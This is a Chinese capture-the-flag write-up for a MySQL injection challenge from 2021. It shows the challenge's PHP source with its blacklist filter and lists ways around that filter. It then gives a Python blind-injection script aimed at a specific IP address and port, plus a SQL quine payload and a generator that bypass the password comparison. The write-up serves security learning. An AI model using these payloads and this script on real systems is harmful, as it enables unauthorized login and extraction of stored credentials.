[第五空间 2021]yet_another_mysql_injection
quine注入
https://www.shysecurity.com/post/20140705-SQLi-Quine
https://www.anquanke.com/post/id/253570
ctrl+u看源码
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
根据提示访问/?source得到后端代码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
盲注password。过滤绕过如下:
空格 -> /**/
= -> like
<>(大于小于号) -> least(),greatest()
substr -> mid
in -> like('admi%')
import requests
#fc3e129bd11f8e7ecf9fc816:eg1b5c3
Ts = "wrong password"
Fs = "something wrong"
url = "http://1.14.71.254:28081/index.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
bool_db = "least(ord(mid((select(database())),%d,1)),%d)like(%d)" % (i, mid,mid)
bool_user=f"least(ord(mid((select(password)from(users)where(username)like('admi%')),{i},1)),{mid})like({mid})"
payload = f"'/**/or/**/{bool_user}#"
data = {"username":"admin","password":payload}
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
if __name__ == "__main__" :
# data = {"username":"admin","password":"'/**/or/**/1#"}
# print(data)
# resp = requests.post(url = url, data = data)
# print(resp.text)
SQL_injection(url)
注出来fc3e129bd11f8e7ecf9fc816:eg1b5c3,然鹅密码错误呜呜呜
搜了一下wp,这题users是空表(但是为啥能注出来捏???)
这时就需要烧脑的quine注入了。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证
$row['password'] === $password
先看最终的password
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
别急。
首先
CHAR(34)="
CHAR(39)='
CHAR(33)=!
我们令
str2=
"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#
str1=
'/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))#
(两者区别是引号)
password变成
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
执行内层REPLACE
'/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))#
再执行
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
结果和password是一样的!!!
这题可以用上面链接中的脚本生成这个payload
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)